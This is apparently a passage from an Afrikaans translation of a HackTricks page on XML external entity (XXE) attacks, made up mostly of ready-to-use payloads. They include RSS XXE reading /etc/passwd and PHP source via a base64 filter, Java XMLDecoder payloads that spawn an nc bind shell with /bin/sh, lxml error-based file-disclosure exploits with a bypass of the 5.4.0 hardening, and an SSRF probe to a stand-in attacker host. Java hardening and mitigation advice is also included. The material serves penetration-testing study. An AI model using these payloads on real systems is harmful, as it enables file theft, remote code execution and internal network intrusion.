<link>http://example.com/</link>
<description>XXE Test Blog</description>
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>Test Post</description>
<author>author@example.com</author>
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Lees lêer

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Lees bronkode

Gebruik PHP base64-filter

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Java XMLDecoder XEE na RCE

XMLDecoder is 'n Java klas wat voorwerpe skep gebaseer op 'n XML boodskap. As 'n kwaadwillige gebruiker 'n toepassing kan kry om arbitrêre data in 'n oproep na die metode readObject te gebruik, sal hy onmiddellik kode-uitvoering op die bediener verkry.

Gebruik van Runtime().exec()

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
</void>
</object>
</java>

ProcessBuilder

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
<void method="start" id="process">
</void>
</void>
</java>

XXE + WrapWrap + Lightyear + omseilings

Kyk na hierdie wonderlike verslag https://swarm.ptsecurity.com/impossible-xxe-in-php/

Gereedskap

{{#ref}} https://github.com/luisfontes19/xxexploiter {{#endref}}

Python lxml Parameter-Entity XXE (Fout-gebaseerde Lêerontsluiting)

[!INFO] Die Python biblioteek lxml gebruik libxml2 onder die oppervlak. Weergawes voor lxml 5.4.0 / libxml2 2.13.8 brei steeds parameter entiteite uit selfs wanneer resolve_entities=False, wat hulle bereikbaar maak wanneer die toepassing load_dtd=True en/of resolve_entities=True inskakel. Dit stel Fout-gebaseerde XXE payloads in staat om die inhoud van plaaslike lêers in die parser foutboodskap in te sluit.

1. Exploiteer lxml < 5.4.0

  1. Identifiseer of skep 'n plaaslike DTD op skyf wat 'n onbeskryfde parameter entiteit definieer (bv. %config_hex;).
  2. Stel 'n interne DTD saam wat:
  • Die plaaslike DTD laai met <!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">.
  • Die onbeskryfde entiteit herdefinieer sodat dit:
  • Die teikend lêer lees (<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">).
  • 'n Ander parameter entiteit bou wat na 'n ongeldige pad verwys wat die %flag; waarde bevat en 'n parser fout veroorsaak (<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">).
  1. Laastens, brei %local_dtd; en %eval; uit sodat die parser %error; teëkom, misluk om /aaa/<FLAG> te open en die vlag binne die gegooi uitsondering lek – wat dikwels aan die gebruiker deur die toepassing teruggestuur word.
<!DOCTYPE colors [
<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">
<!ENTITY % config_hex '
<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">
%eval;'>
%local_dtd;
]>

Wanneer die aansoek die uitsondering druk, bevat die antwoord:

Error : failed to load external entity "file:///aaa/FLAG{secret}"

Tip

As die parser kla oor %/& karakters binne die interne subset, kodeer hulle dubbel (&#x26;#x25; ⇒ %) om uitbreiding te vertraag.

2. Om die lxml 5.4.0 verharding te omseil (libxml2 steeds kwesbaar)

lxml ≥ 5.4.0 verbied error parameter entiteite soos die een hierbo, maar libxml2 laat steeds toe dat hulle in 'n algemene entiteit ingebed word. Die truuk is om:

  1. Lees die lêer in 'n parameter entiteit %file.
  2. Verklaar 'n ander parameter entiteit wat 'n algemene entiteit c bou waarvan die SYSTEM identifiseerder 'n nie-bestaande protokol soos meow://%file; gebruik.
  3. Plaas &c; in die XML liggaam. Wanneer die parser probeer om meow://… te dereferensieer, misluk dit en reflekteer die volle URI – insluitend die lêerinhoud – in die foutboodskap.
<!DOCTYPE colors [
<!ENTITY % a '
<!ENTITY % file SYSTEM "file:///tmp/flag.txt">
<!ENTITY % b "<!ENTITY c SYSTEM 'meow://%file;'>">
'>
%a; %b;
]>
<colors>&c;</colors>

Sleutelafleidings

  • Parameter entiteite word steeds deur libxml2 uitgebrei, selfs wanneer resolve_entities XXE moet blokkeer.
  • 'n Ongeldige URI of nie-bestaande lêer is genoeg om beheerde data in die gegooi uitsondering te konkateneer.
  • Die tegniek werk sonder buitelandse konnektiwiteit, wat dit ideaal maak vir streng uitgangs-gefilterde omgewings.

Versagtingsriglyne

  • Opgradeer na lxml ≥ 5.4.0 en verseker dat die onderliggende libxml2 ≥ 2.13.8 is.
  • Deaktiveer load_dtd en/of resolve_entities tensy absoluut nodig.
  • Vermy om rou parser foute aan die kliënt terug te gee.

Java DocumentBuilderFactory versterking voorbeeld

Java toepassings parseer dikwels XML met DocumentBuilderFactory. Standaard laat die fabriek buitelandse entiteit resolusie toe, wat dit kwesbaar maak vir XXE en SSRF as daar geen addisionele versterkingsvlagte ingestel is nie:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = dbf.newDocumentBuilder(); // XXE-prone

Veilige konfigurasie voorbeeld:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();

// Completely forbid any DOCTYPE declarations (best-effort defence)
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

// Disable expansion of external entities
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

// Enable "secure processing" which applies additional limits
dbf.setFeature(javax.xml.XMLConstants.FEATURE_SECURE_PROCESSING, true);

// Defensive extras
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);

DocumentBuilder builder = dbf.newDocumentBuilder();

As die toepassing DTD's intern moet ondersteun, hou disallow-doctype-decl gedeaktiveer, maar laat altyd die twee external-*-entities funksies op false gestel. Die kombinasie voorkom klassieke lêer-blootstelling payloads (file:///etc/passwd) sowel as netwerk-gebaseerde SSRF vektore (http://169.254.169.254/…, jar: protokol, ens.).

Werklike gevalstudie: CVE-2025-27136 in die Java S3 emuleerder LocalS3 het die kwesbare konstruksie hierbo gebruik. 'n Onauthentieke aanvaller kon 'n vervaardigde XML-liggaam aan die CreateBucketConfiguration eindpunt verskaf en die bediener laat plaaslike lêers (byvoorbeeld /etc/passwd) in die HTTP-antwoord inkorporeer.

XXE in JMF/Print Orchestration Services → SSRF

Sommige druk werkvloei/orchestrasie platforms stel 'n netwerk-gefokusde Job Messaging Format (JMF) luisteraar bloot wat XML oor TCP aanvaar. As die onderliggende parser 'n DOCTYPE aanvaar en eksterne entiteite oplos, kan jy 'n klassieke XXE benut om die bediener te dwing om uitgaande versoeke te maak (SSRF) of toegang tot plaaslike hulpbronne te verkry.

Belangrike punte waargeneem in die natuur:

  • Netwerk luisteraar (bv., JMF kliënt) op 'n toegewyde poort (gewoonlik 4004 in Xerox FreeFlow Core).
  • Java-gebaseerde XML parsing binne 'n jar (bv., jmfclient.jar) sonder disallow-doctype-decl of entiteit resolusie gedeaktiveer.
  • Uit-baan terugroepe bevestig betroubaar uitbuiting.

Minimale JMF-styl SSRF proef (struktuur verskil per produk, maar die DOCTYPE is wat saak maak):

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE JMF [
<!ENTITY probe SYSTEM "http://attacker-collab.example/oob">
]>
<JMF SenderID="hacktricks" Version="1.3" TimeStamp="2025-08-13T10:10:10Z">
<Query Type="KnownMessages">&probe;</Query>
</JMF>

Notas:

  • Vervang die entiteit-URL met jou samewerker. As SSRF moontlik is, sal die bediener dit oplos terwyl dit die boodskap ontleed.
  • Versterkings om na te kyk: disallow-doctype-decl=true, external-general-entities=false, external-parameter-entities=false.
  • Selfs wanneer die JMF-poort nie lêers bedien nie, kan SSRF geketting word vir interne rekognisie of om bestuurs-API's wat aan localhost gekoppel is, te bereik.

Verwysings vir hierdie vektor is aan die einde van die bladsy gelys.

Verwysings

{{#include ../banners/hacktricks-training.md}}